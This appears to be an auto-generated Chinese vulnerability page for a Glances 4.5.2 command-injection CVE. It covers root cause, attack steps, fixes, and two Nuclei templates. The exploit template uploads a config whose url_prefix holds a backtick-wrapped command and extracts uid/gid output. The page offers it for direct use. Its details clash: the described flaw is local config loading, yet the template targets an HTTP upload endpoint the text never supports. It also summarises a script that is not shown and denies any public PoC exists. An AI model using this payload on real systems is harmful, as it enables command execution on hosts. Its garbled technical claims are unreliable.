[webapps] glances 4.5.2 - command injection

CVE-2026-33641

Glances 4.5.2及以下版本配置解析中反引号内子串执行任意命令导致命令注入

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2026-33641
漏洞类型命令注入 (OS Command Injection, CWE-78)
受影响版本Glances 4.5.2 and below (fixed in 4.5.3)
危害等级High · CVSS 7.8
发布日期2026-05-13
提交者Stepanov Daniil
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在 glances/config.py 的 Config.get_value() 方法中,使用正则查找配置值中的反引号子串并通过 system_exec() 执行,system_exec() 在 glances/globals.py 中通过 subprocess.run(command.split(' '), ...) 执行命令,但未对命令内容进行任何校验或限制。

🎯 攻击场景

1. 攻击者创建包含恶意配置的 .conf 文件,其中[outputs]字段的url_prefix值包含反引号包围的命令,例如 `touch /tmp/glances_pwned`。 2. 攻击者诱使受害者或用脚本调用 Glances 并加载该配置文件(如 glances -C /tmp/malicious.conf)。 3. Glances 启动或重新加载配置时,Config.get_value() 解析配置,提取反引号内子串并交由 system_exec() 执行。 4. 命令以 Glances 进程权限(可能为 root)成功执行,产生攻击者预期的效果(如创建文件、反弹 shell 等)。

💥 漏洞影响

任意命令执行,可导致攻击者以 Glances 进程权限执行系统命令;由于 Glances 常以高权限(如 root)运行,可能进一步造成权限提升、数据泄露或完全系统沦陷。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-33641-exploit

info:
  name: Glances 4.5.2 - Command Injection Exploit
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. This exploit attempts to execute arbitrary commands through the vulnerable configuration upload or modification endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection,rce

variables:
  cmd: "id"

http:
  - raw:
      - |
        GET /api/2/version HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"

  - raw:
      - |
        POST /api/2/config/upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------99868198152613534213329528222

        -----------------------------99868198152613534213329528222
        Content-Disposition: form-data; name="file"; filename="malicious.conf"
        Content-Type: text/plain

        [outputs]
        url_prefix = `{{cmd}}`
        -----------------------------99868198152613534213329528222--

    matchers:
      - type: word
        part: body
        words:
          - "{{cmd}}"
    stop-at-first-match: false
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'uid=\d+\([^)]+\)'
          - 'gid=\d+\([^)]+\)'
          - 'groups=\d+\([^)]+\)'

🔬 深度技术分析

1. create_malicious_config(command) 函数使用 NamedTemporaryFile 创建临时配置文件,写入格式为[outputs]的 url_prefix = `{command}` 内容。 2. exploit() 函数设置命令 touch /tmp/glances_pwned,调用 create_malicious_config 生成恶意配置文件。 3. 通过 subprocess.run 执行 glances -C 恶意配置文件路径 --timeout 2,触发配置解析。 4. 检查 /tmp/glances_pwned 文件是否存在以验证命令执行成功。如果成功则删除文件并输出确认信息。 5. manual_verification_guide() 提供手工验证的步骤。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-33641-detection

info:
  name: Glances 4.5.2 - Command Injection Detection
  author: steven
  severity: high
  description: Glances versions prior to 4.5.3 are vulnerable to command injection via dynamic configuration parsing. An attacker can execute arbitrary commands by modifying configuration files containing backtick-enclosed substrings.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-33641
    - https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
  tags: cve,cve2026,glances,command-injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/2/version"
      - "{{BaseURL}}/api/2/version/"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "4.5.0"
          - "4.5.1"
          - "4.5.2"
        condition: or
      - type: word
        part: body
        words:
          - "version"
        condition: or
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '(\d+\.\d+\.\d+)'

🛡️ 修复建议

升级至 Glances 4.5.3 或更高版本,该版本移除了反引号执行功能。临时缓解措施:禁止不受信任的用户修改 Glances 配置文件,并限制 Glances 以最小必要权限运行。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-18 22:05 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)